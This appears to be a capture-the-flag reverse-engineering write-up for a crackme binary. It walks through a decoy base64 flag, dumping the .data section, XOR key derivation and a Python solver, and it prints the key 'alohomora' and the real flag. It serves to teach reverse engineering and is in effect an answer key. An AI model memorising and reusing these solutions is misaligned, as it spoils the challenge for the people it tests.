Step 2: Decode the Decoy (Red Herring)
1
2
echo "WTNsemUyY3dYMkkwWTJ0ZmREQmZjM1EwY25SemZRPT0=" | base64 -d | base64 -d
# Output: cys{g0_b4ck_t0_st4rts}
This decoy flag is not the answer and will fail if used as input. It exists to mislead players who rely only on strings output.
Step 3: Extract Encoded Arrays from Binary
1
2
3
objdump -s -j .data challenge.dat
# or
readelf -x .data challenge.dat
Located two arrays in the .data section:
1
2
key_enc: 34 39 3a 3d 3a 38 3a 27 34
flag_enc: 12 5f 0c 1a 5c 19 30 43 12 3e 19 01 59 5f 0e 04 17 05
Step 4: Analyze Validation Logic in Disassembler
Opened the binary in Ghidra and decompiled the main function. Identified the key derivation and validation:
1
2
3
4
5
6
7
8
9
10
unsigned char key[9];
for (int i = 0; i < 9; i++) {
key[i] = key_enc[i] ^ 0x55;
}
if (memcmp(input, key, 9) == 0) {
for (int i = 0; i < 18; i++) {
flag[i] = flag_enc[i] ^ key[i % 9];
}
}
Step 5: Compute the Real Key
1
2
3
key_enc = bytes.fromhex('34393a3d3a383a2734')
key = bytes(b ^ 0x55 for b in key_enc)
print(key.decode()) # Output: alohomora
The real key is: alohomora
Step 6: Decrypt the Flag
1
2
3
4
flag_enc = bytes.fromhex('125f0c1a5c193043123e1901595f0e041705')
key = b'alohomora'
flag = bytes(flag_enc[i] ^ key[i % 9] for i in range(len(flag_enc)))
print(flag.decode()) # Output: s3cr3t_1s_un10cked
Step 7: Verify and Retrieve Flag
1
2
3
./challenge.dat
Speak the binding spell: alohomora
Flag: cys{s3cr3t_1s_un10cked}
Successfully retrieved the real flag by entering the correct key.
Python solver script
Flag
1
cys{s3cr3t_1s_un10cked}
solver python code
the code could change for new binary file as hex dump locations might change
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
def extract_data_from_binary(filename='l'):
"""Extract data from the binary file"""
try:
with open(filename, 'rb') as f:
data = f.read()
print(f"[+] File size: {len(data)} bytes (0x{len(data):x})")
# The addresses are 0x404060 and 0x404070
# We need to find the file offset for these virtual addresses
# Common data section offsets to try
possible_offsets = [
0x3060, # 0x404060 - 0x401000 (common base)
0x2060, # Alternative
0x4060, # Alternative (if base is 0x400000)
0x3040, # Another common offset
]
for base_offset in possible_offsets:
offset_60 = base_offset
offset_70 = base_offset + 0x10
if offset_60 + 9 <= len(data) and offset_70 + 18 <= len(data):
data_404060 = data[offset_60:offset_60+9]
data_404070 = data[offset_70:offset_70+18]
print(f"\n[*] Trying base offset: 0x{base_offset:04x}")
print(f" data_404060 (offset 0x{offset_60:04x}): {data_404060.hex()}")
print(f" data_404070 (offset 0x{offset_70:04x}): {data_404070.hex()}")
# Try to decode and check if it makes sense
result = solve_with_data(data_404060, data_404070)
if result and result['valid']:
return result
# If nothing worked, try scanning the file
print("\n[*] Trying to scan entire file for valid patterns...")
return scan_for_data(data)
except FileNotFoundError:
print(f"Error: File '{filename}' not found")
return None
except Exception as e:
print(f"Error: {e}")
import traceback
traceback.print_exc()
return None
def scan_for_data(data):
"""Scan the file for potential encoded data"""
print("[*] Scanning for 9-byte sequences that decode to printable ASCII...")
candidates = []
for i in range(len(data) - 9):
# Try XORing with 0x55
spell = bytearray()
valid = True
for j in range(9):
char = data[i+j] ^ 0x55
if char < 0x20 or char > 0x7e: # Not printable ASCII
valid = False
break
spell.append(char)
if valid:
spell_str = spell.decode('ascii')
print(f" Found at offset 0x{i:04x}: {spell_str}")
candidates.append((i, data[i:i+9]))
if candidates:
print(f"\n[*] Found {len(candidates)} candidate(s)")
# Use the first candidate
offset, data_404060 = candidates[0]
# Look for data_404070 nearby (16 bytes after)
data_404070 = data[offset+16:offset+16+18] if offset+16+18 <= len(data) else None
if data_404070:
print(f"[*] Using data at offset 0x{offset:04x}")
return solve_with_data(data_404060, data_404070)
return None
def solve_with_data(data_404060, data_404070):
"""Solve the challenge with extracted data"""
# Step 1: Calculate the spell (key)
# var_1d[i] = data_404060[i] ^ 0x55
spell = bytearray()
for i in range(9):
spell.append(data_404060[i] ^ 0x55)
print(f"\n[+] Calculated Spell:")
print(f" Hex: {spell.hex()}")
# Try to decode as ASCII
try:
spell_str = spell.decode('ascii')
print(f" ASCII: {spell_str}")
is_printable = all(32 <= b <= 126 for b in spell)
except:
spell_str = spell.decode('ascii', errors='replace')
print(f" ASCII (with errors): {spell_str}")
is_printable = False
# Step 2: Decode the flag (Mirror Key)
# var_88[i] = var_1d[i % 9] ^ data_404070[i]
flag = bytearray()
for i in range(18):
flag.append(spell[i % 9] ^ data_404070[i])
print(f"\n[+] Decoded Mirror Key:")
print(f" Hex: {flag.hex()}")
# Try to decode as ASCII
try:
flag_str = flag.decode('ascii')
print(f" ASCII: {flag_str}")
flag_printable = all(32 <= b <= 126 for b in flag)
except:
flag_str = flag.decode('ascii', errors='replace')
print(f" ASCII (with errors): {flag_str}")
flag_printable = False
print(f"\n{'='*60}")
print(f"SOLUTION:")
print(f"{'='*60}")
print(f"Ancient Spell to Enter: {spell_str}")
print(f"Mirror Key (Flag): {flag_str}")
print(f"{'='*60}\n")
return {
'spell': spell_str,
'flag': flag_str,
'valid': is_printable and flag_printable
}
def manual_solve():
"""Manual solver - paste your hex data here"""
print("="*60)
print("MANUAL MODE")
print("="*60)
print("Enter the hex data from the binary\n")
print("To get the data manually, use:")
print(" readelf -x .data l")
print(" or")
print(" objdump -s -j .data l")
print()
data_404060_hex = input("Enter data_404060 (9 bytes in hex, e.g., 1a2b3c...): ").strip()
data_404070_hex = input("Enter data_404070 (18 bytes in hex, e.g., 4d5e6f...): ").strip()
try:
# Remove spaces and common separators
data_404060_hex = data_404060_hex.replace(" ", "").replace("0x", "")
data_404070_hex = data_404070_hex.replace(" ", "").replace("0x", "")
data_404060 = bytes.fromhex(data_404060_hex)
data_404070 = bytes.fromhex(data_404070_hex)
if len(data_404060) != 9:
print(f"Error: data_404060 should be 9 bytes, got {len(data_404060)}")
return
if len(data_404070) != 18:
print(f"Error: data_404070 should be 18 bytes, got {len(data_404070)}")
return
print()
solve_with_data(data_404060, data_404070)
except ValueError as e:
print(f"Error parsing hex: {e}")
def main():
import sys
print("="*60)
print("Echo-Double Challenge Solver")
print("="*60)
print()
# Get filename
if len(sys.argv) > 1:
filename = sys.argv[1]
else:
filename = 'l'
# Try automatic extraction first
print(f"[*] Attempting automatic data extraction from '{filename}'...\n")
result = extract_data_from_binary(filename)
if not result:
print("\n" + "="*60)
print("Automatic extraction failed. Switching to manual mode...")
print("="*60)
print()
manual_solve()
if __name__ == "__main__":
main()
Flag
cys{s3cr3t_1s_un10cked}